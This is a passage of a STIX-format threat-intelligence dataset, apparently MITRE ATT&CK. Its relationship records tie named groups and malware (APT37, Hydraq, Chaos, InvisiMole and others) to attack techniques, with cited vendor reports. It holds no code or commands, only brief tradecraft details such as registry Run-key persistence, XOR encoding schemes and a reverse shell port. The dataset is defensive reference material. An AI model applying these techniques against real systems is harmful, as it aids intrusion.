            "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2019-07-26T23:38:33.847Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--863c1d57-db93-49a9-a953-eb7c2d6b2e5b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Felismus](https://attack.mitre.org/software/S0171) checks for processes associated with anti-virus vendors.(Citation: Forcepoint Felismus Mar 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Felismus Mar 2017",
                    "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.",
                    "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"
                }
            ],
            "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2020-03-17T01:16:15.825Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--7feb6ceb-8a7c-45a9-902a-9b9c2c9a5e2c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Hydraq](https://attack.mitre.org/software/S0203) C2 traffic is encrypted using bitwise NOT and XOR operations.(Citation: Symantec Hydraq Jan 2010)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Hydraq Jan 2010",
                    "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"
                }
            ],
            "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-02-18T03:48:53.737Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--5c0645e4-f0c7-4bb4-bedb-29a96a472fe0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "relationship_type": "uses",
            "target_ref": "tool--30489451-5886-4c46-90c9-0dff9adc5252",
            "external_references": [
                {
                    "url": "https://securelist.com/the-epic-turla-operation/65545/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
                    "source_name": "Kaspersky Turla"
                }
            ],
            "description": "(Citation: Kaspersky Turla)",
            "type": "relationship",
            "modified": "2019-07-14T21:04:45.627Z",
            "created": "2017-05-31T21:33:27.046Z"
        },
        {
            "id": "relationship--1e363612-b503-47b2-b697-daf75ef3740a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT37](https://attack.mitre.org/groups/G0067) uses HTTPS to conceal C2 communications.(Citation: Talos Group123)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html",
                    "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.",
                    "source_name": "Talos Group123"
                }
            ],
            "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T00:16:29.158Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--4d82bac6-ec9d-4f4b-a471-169728a830a4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that can enumerate current network connections.(Citation: Symantec Buckeye)(Citation: FireEye Clandestine Fox)(Citation: evolution of pirpi)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong",
                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
                    "source_name": "Symantec Buckeye"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html",
                    "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.",
                    "source_name": "FireEye Clandestine Fox"
                },
                {
                    "url": "https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution_of_pirpi.pdf",
                    "description": "Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.",
                    "source_name": "evolution of pirpi"
                }
            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "type": "relationship",
            "modified": "2019-04-29T18:01:20.478Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--4af1ec66-5007-49df-8a10-df2c8ed7edc8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BBSRAT](https://attack.mitre.org/software/S0127) has been loaded through DLL side-loading of a legitimate Citrix executable that is set to persist through the Registry Run key location <code>HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ssonsvr.exe</code>.",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-04-24T23:10:02.430Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--dc7cb17d-c3d3-4c3c-b79e-499cede49baa",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has detached network shares after exfiltrating files, likely to evade detection.(Citation: SecureWorks BRONZE UNION June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-union",
                    "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.",
                    "source_name": "SecureWorks BRONZE UNION June 2017"
                }
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c",
            "type": "relationship",
            "modified": "2019-07-14T21:15:55.180Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--f9669551-29f8-4aaf-83b9-50e541bbdced",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FLASHFLOOD](https://attack.mitre.org/software/S0036) employs the same encoding scheme as [SPACESHIP](https://attack.mitre.org/software/S0035) for data it stages. Data is compressed with zlib, and bytes are rotated four times before being XOR'ed with 0x23.(Citation: FireEye APT30)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "source_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b",
            "type": "relationship",
            "modified": "2020-03-30T02:54:53.422Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--d57dd9d9-d075-48c4-ae54-ed0aeae575de",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used batch scripts and the command-line interface for execution.(Citation: Secureworks BRONZE BUTLER Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-17T18:56:40.139Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--01a1c2f4-ccb3-4238-9c9c-d6ca3a098ed9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pupy](https://attack.mitre.org/software/S0192) has a built-in module for port scanning.(Citation: GitHub Pupy)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "source_name": "GitHub Pupy"
                }
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
            "type": "relationship",
            "modified": "2019-04-24T17:52:47.856Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--d0cd5f13-7e44-4728-98df-6e832f5d54dc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "relationship_type": "uses",
            "target_ref": "malware--f5352566-1a64-49ac-8f7f-97e1d1a03300",
            "external_references": [
                {
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "source_name": "Forcepoint Monsoon"
                }
            ],
            "description": "(Citation: Forcepoint Monsoon)",
            "type": "relationship",
            "modified": "2019-07-11T13:53:06.121Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--541855dd-0249-4f63-8e95-0024f760484e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a Registry subkey to register its created service, and can also uninstall itself later by deleting this value. [Hydraq](https://attack.mitre.org/software/S0203)'s backdoor also enables remote attackers to modify and delete subkeys.(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: Symantec Hydraq Jan 2010)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Trojan.Hydraq Jan 2010",
                    "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.",
                    "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident"
                },
                {
                    "source_name": "Symantec Hydraq Jan 2010",
                    "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"
                }
            ],
            "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2020-02-18T03:48:53.731Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--5b63f8fd-efc7-454f-b466-d5e0a525f64f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) has used spearphishing with an attachment to deliver files with exploits to initial victims.(Citation: Cymmetria Patchwork)(Citation: Securelist Dropping Elephant)(Citation: TrendMicro Patchwork Dec 2017)(Citation: Volexity Patchwork June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf",
                    "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.",
                    "source_name": "Cymmetria Patchwork"
                },
                {
                    "url": "https://securelist.com/the-dropping-elephant-actor/75328/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant \u2013 aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.",
                    "source_name": "Securelist Dropping Elephant"
                },
                {
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "source_name": "TrendMicro Patchwork Dec 2017"
                },
                {
                    "source_name": "Volexity Patchwork June 2018",
                    "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.",
                    "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/"
                }
            ],
            "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
            "type": "relationship",
            "modified": "2020-03-19T19:58:58.090Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--3ebc8829-f260-4d75-817a-cd23a4ebb194",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Before being appended to image files, [HAMMERTOSS](https://attack.mitre.org/software/S0037) commands are encrypted with a key composed of both a hard-coded value and a string contained on that day's tweet. To decrypt the commands, an investigator would need access to the intended malware sample, the day's tweet, and the image file containing the command.(Citation: FireEye APT29)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT29",
                    "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf"
                }
            ],
            "source_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2019-10-11T19:07:42.404Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--69682171-e717-4af7-a24a-06a39f381641",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors use [NBTscan](https://attack.mitre.org/software/S0590) to discover vulnerable systems.(Citation: Dell TG-3390)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                }
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2021-03-17T16:21:46.871Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--c8bceb4a-0cf2-43c9-9729-20ed706c4c72",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pteranodon](https://attack.mitre.org/software/S0147) can delete files that may interfere with it executing. It also can delete temporary files and itself after the initial script executes.(Citation: Palo Alto Gamaredon Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Gamaredon Feb 2017",
                    "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"
                }
            ],
            "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-06-22T17:54:15.746Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--170e2f76-5b6a-4eee-8ea4-d1171368b4a9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia obtains and sends to its C2 server the title of the window for each running process. The KilaAlfa keylogger also reports the title of the window in the foreground.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)(Citation: Novetta Blockbuster Tools)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                },
                {
                    "source_name": "Novetta Blockbuster Loaders",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.",
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf"
                },
                {
                    "source_name": "Novetta Blockbuster Tools",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Tools Report. Retrieved March 10, 2016.",
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Tools-Report.pdf"
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830",
            "type": "relationship",
            "modified": "2019-12-20T14:28:39.064Z",
            "created": "2017-05-31T21:33:27.067Z"
        },
        {
            "id": "relationship--cef7d272-ee0c-4379-9d7b-63adf1f40252",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Mis-Type](https://attack.mitre.org/software/S0084) network traffic can communicate over a raw socket.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
            "type": "relationship",
            "modified": "2020-02-11T16:23:56.671Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--37c94531-1e56-4640-93fd-e9fd65da4f80",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has used a keylogger.(Citation: Kaspersky Darkhotel)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.",
                    "source_name": "Kaspersky Darkhotel"
                }
            ],
            "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T20:05:43.536Z",
            "created": "2017-05-31T21:33:27.047Z"
        },
        {
            "id": "relationship--acd19f55-0911-4cab-a27d-a962f63d2a66",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) communicates with its C2 servers through a TCP socket.(Citation: ESET InvisiMole June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET InvisiMole June 2018",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"
                }
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
            "type": "relationship",
            "modified": "2020-03-17T00:09:26.165Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--aef68e46-d1e1-49b9-aade-6c1bf226e053",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can list information about files in a directory and recently opened or used documents. [InvisiMole](https://attack.mitre.org/software/S0260) can also search for specific files by supplied file mask.(Citation: ESET InvisiMole June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "source_name": "ESET InvisiMole June 2018"
                }
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-08-17T14:08:26.521Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--319189e0-9db0-46f8-9386-0d909db94a46",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used batch scripts to enumerate network information, including information about trusts, zones, and the domain.(Citation: US-CERT TA18-074A)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                }
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2019-03-22T20:13:49.562Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--15aa00d1-11c0-4be1-a900-ede5e1376110",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "malware--3240cbe4-c550-443b-aa76-cc2a7058b870",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html",
                    "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.",
                    "source_name": "FireEye APT10 April 2017"
                }
            ],
            "description": "(Citation: FireEye APT10 April 2017)",
            "type": "relationship",
            "modified": "2019-09-03T18:50:16.895Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--4847b10f-f9da-4a35-8df8-e235c6244ba2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Chaos](https://attack.mitre.org/software/S0220) provides a reverse shell connection on 8338/TCP, encrypted via AES.(Citation: Chaos Stolen Backdoor)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Chaos Stolen Backdoor",
                    "description": "Sebastian Feldmann. (2018, February 14). Chaos: a Stolen Backdoor Rising Again. Retrieved March 5, 2018.",
                    "url": "http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/"
                }
            ],
            "source_ref": "malware--5bcd5511-6756-4824-a692-e8bb109364af",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56",
            "type": "relationship",
            "modified": "2020-03-20T16:53:12.495Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--c74cbdc5-e454-4b22-957e-926854dd37f1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Felismus](https://attack.mitre.org/software/S0171) collects the victim LAN IP address and sends it to the C2 server.(Citation: Forcepoint Felismus Mar 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Felismus Mar 2017",
                    "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.",
                    "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"
                }
            ],
            "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-03-17T01:16:15.823Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--8c359d18-06fc-4db1-9b58-6e85fa563066",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BADNEWS](https://attack.mitre.org/software/S0128) installs a registry Run key to establish persistence.(Citation: Forcepoint Monsoon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
                }
            ],
            "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-16T15:59:20.517Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5bda4ebe-cd21-469e-9495-952df7254f17",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
